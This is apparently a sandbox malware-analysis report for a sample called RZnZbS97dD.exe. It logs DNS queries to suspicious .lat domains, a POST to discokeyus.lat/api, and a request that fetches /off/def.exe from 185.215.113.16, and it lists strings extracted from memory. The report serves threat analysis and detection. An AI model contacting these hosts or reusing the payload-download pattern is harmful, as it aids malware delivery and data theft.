Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=195740-195740If-Range: 0x8DCEC757C1AD1D1
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: discokeyus.lat

Source: RZnZbS97dD.exe, 00000004.00000003.1603041653.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: RZnZbS97dD.exe, 00000004.00000003.1603041653.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1608579784.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/B
Source: RZnZbS97dD.exe, 00000004.00000003.1603185334.0000000000A9C000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1673493853.0000000000A62000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1603273272.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000002.1717792796.0000000000A62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1603185334.0000000000A9C000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1673493853.0000000000A62000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1603273272.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000002.1717792796.0000000000A62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeerX
Source: RZnZbS97dD.exe, 00000004.00000002.1715937617.00000000006FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: RZnZbS97dD.exe, RZnZbS97dD.exe, 00000004.00000003.1447165788.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1503865509.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1503980815.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_83.12.dr	String found in binary or memory: http://schema.org/Organization
Source: RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: RZnZbS97dD.exe, 00000004.00000003.1397495348.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_83.12.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_83.12.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_83.12.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_83.12.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RZnZbS97dD.exe, 00000004.00000003.1446845277.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1464102617.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1463985863.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421317688.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1450753922.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1608442259.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000002.1721741458.0000000005190000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000002.1716869125.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1503693901.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1602986818.0000000005196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: RZnZbS97dD.exe, 00000004.00000003.1421317688.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1396992900.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1396548772.000000000519A000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1397745587.000000000519A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/P
Source: RZnZbS97dD.exe, RZnZbS97dD.exe, 00000004.00000003.1464102617.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1373372939.0000000005195000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1603041653.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1608603642.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1608579784.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1503865509.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1603210639.0000000000A65000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1503693901.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1425689146.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1373127652.0000000005199000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: RZnZbS97dD.exe, 00000004.00000003.1425689146.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apiF
Source: RZnZbS97dD.exe, 00000004.00000003.1425689146.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apiph
Source: RZnZbS97dD.exe, 00000004.00000003.1464102617.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/apiE
Source: RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_83.12.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_83.12.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_83.12.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_83.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_83.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_83.12.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_83.12.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_83.12.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_83.12.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_83.12.dr	String found in binary or memory: https://github.com/nschonni
Source: RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_83.12.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_113.12.dr	String found in binary or memory: https://schema.org
Source: RZnZbS97dD.exe, 00000004.00000003.1398580272.00000000052B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: RZnZbS97dD.exe, 00000004.00000003.1398580272.00000000052B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_113.12.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RZnZbS97dD.exe, 00000004.00000003.1347540494.00000000051DC000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1346621418.00000000051DE000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1347654523.00000000051DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RZnZbS97dD.exe, 00000004.00000003.1420997726.0000000005199000.00000004.00000800.00020000.00000000.sdmp, RZnZbS97dD.exe, 00000004.00000003.1421015639.00000000051A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_93.12.dr, chromecache_113.12.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: RZnZbS97dD.exe, 00000004.00000003.1398580272.00000000052B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: RZnZbS97dD.exe, 00000004.00000003.1398580272.00000000052B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: RZnZbS97dD.exe, 00000004.00000003.1398580272.00000000052B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: RZnZbS97dD.exe, 00000004.00000003.1398580272.00000000052B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RZnZbS97dD.exe, 00000004.00000003.1398580272.00000000052B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.99:443 -> 192.168.2.7:49751 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: RZnZbS97dD.exe	Static PE information: section name:
Source: RZnZbS97dD.exe	Static PE information: section name: .rsrc
Source: RZnZbS97dD.exe	Static PE information: section name: .idata

Source: RZnZbS97dD.exe, 00000004.00000003.1576796917.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
Source: RZnZbS97dD.exe, 00000004.00000003.1579586914.0000000005777000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs RZnZbS97dD.exe
